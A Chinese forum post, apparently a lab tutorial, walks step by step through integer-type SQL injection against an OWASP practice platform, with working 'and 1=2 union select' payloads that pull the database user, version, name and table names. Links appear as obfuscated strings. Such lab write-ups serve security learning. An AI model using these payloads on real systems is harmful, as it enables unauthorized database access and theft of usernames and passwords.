-
-
[原创]SQL注入获取用户名密码过程-integer型注入
-
发表于: 2019-8-7 15:47
-
这个也是OWASP放出来的一个web安全学习平台，PHP+MySQL，主要有SQL注入练习及简单绕过
地址：bf2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7K6i4K6u0W2x3U0b7%4i4K6u0W2z5e0q4Q4x3X3f1J5x3U0S2Q4x3@1p5^5x3#2)9J5c8R3`.`.
1、找测试注入点
edeK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7K6i4K6u0W2x3U0b7%4i4K6u0W2z5e0q4Q4x3X3f1J5x3U0S2Q4x3@1p5^5x3#2)9J5c8X3y4G2L8Y4c8W2L8Y4c8Q4x3X3b7I4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6A6k6q4)9K6c8o6l9`.
2、测试加 ' 号，页面返回错误（可能存在注入点）
3、确认是否存在注入点
18fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7K6i4K6u0W2x3U0b7%4i4K6u0W2z5e0q4Q4x3X3f1J5x3U0S2Q4x3@1p5^5x3#2)9J5c8X3y4G2L8Y4c8W2L8Y4c8Q4x3X3b7I4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6A6k6q4)9K6c8o6l9`. and 1=1 页面返回正常
026K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7K6i4K6u0W2x3U0b7%4i4K6u0W2z5e0q4Q4x3X3f1J5x3U0S2Q4x3@1p5^5x3#2)9J5c8X3y4G2L8Y4c8W2L8Y4c8Q4x3X3b7I4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6A6k6q4)9K6c8o6l9`. and 1=2 页面返回错误
证明存在注入点
4、查询当前表有多少列，用order by测试，切换数字，直到不出错为止，测试结果为
947K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7K6i4K6u0W2x3U0b7%4i4K6u0W2z5e0q4Q4x3X3f1J5x3U0S2Q4x3@1p5^5x3#2)9J5c8X3y4G2L8Y4c8W2L8Y4c8Q4x3X3b7I4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6A6k6q4)9K6c8o6l9`. order by 8
5、测试哪列数据有回显(1,2,3列都可以显示)
0f1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7K6i4K6u0W2x3U0b7%4i4K6u0W2z5e0q4Q4x3X3f1J5x3U0S2Q4x3@1p5^5x3#2)9J5c8X3y4G2L8Y4c8W2L8Y4c8Q4x3X3b7I4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6A6k6q4)9K6c8o6l9`. and 1=2 union select 1,2,3,4,5,6,7,8
5、查询数据库相关信息
查询当前用户权限 f77K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7K6i4K6u0W2x3U0b7%4i4K6u0W2z5e0q4Q4x3X3f1J5x3U0S2Q4x3@1p5^5x3#2)9J5c8X3y4G2L8Y4c8W2L8Y4c8Q4x3X3b7I4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6A6k6q4)9K6c8o6l9`. and 1=2 union select 1,user(),3,4,5,6,7,8
查询当前数据库版本 bc4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7K6i4K6u0W2x3U0b7%4i4K6u0W2z5e0q4Q4x3X3f1J5x3U0S2Q4x3@1p5^5x3#2)9J5c8X3y4G2L8Y4c8W2L8Y4c8Q4x3X3b7I4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6A6k6q4)9K6c8o6l9`. and 1=2 union select 1,version(),3,4,5,6,7,8
注：这里根据数据库版本可以选择应对策略
查询当前数据库名称 ed6K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7K6i4K6u0W2x3U0b7%4i4K6u0W2z5e0q4Q4x3X3f1J5x3U0S2Q4x3@1p5^5x3#2)9J5c8X3y4G2L8Y4c8W2L8Y4c8Q4x3X3b7I4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2H3K9s2m8Q4x3@1k6A6k6q4)9K6c8o6l9`. and 1=2 union select 1,database(),3,4,5,6,7,8
6、查询inject数据库里的表名（将表名'inject'进行ANSI编码结果为%27%69%6E%6A%65%63%74%27）测试结果表名为users
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
写的很仔细
|
|
|
|
|
|
|
|
|
|
|
|
|
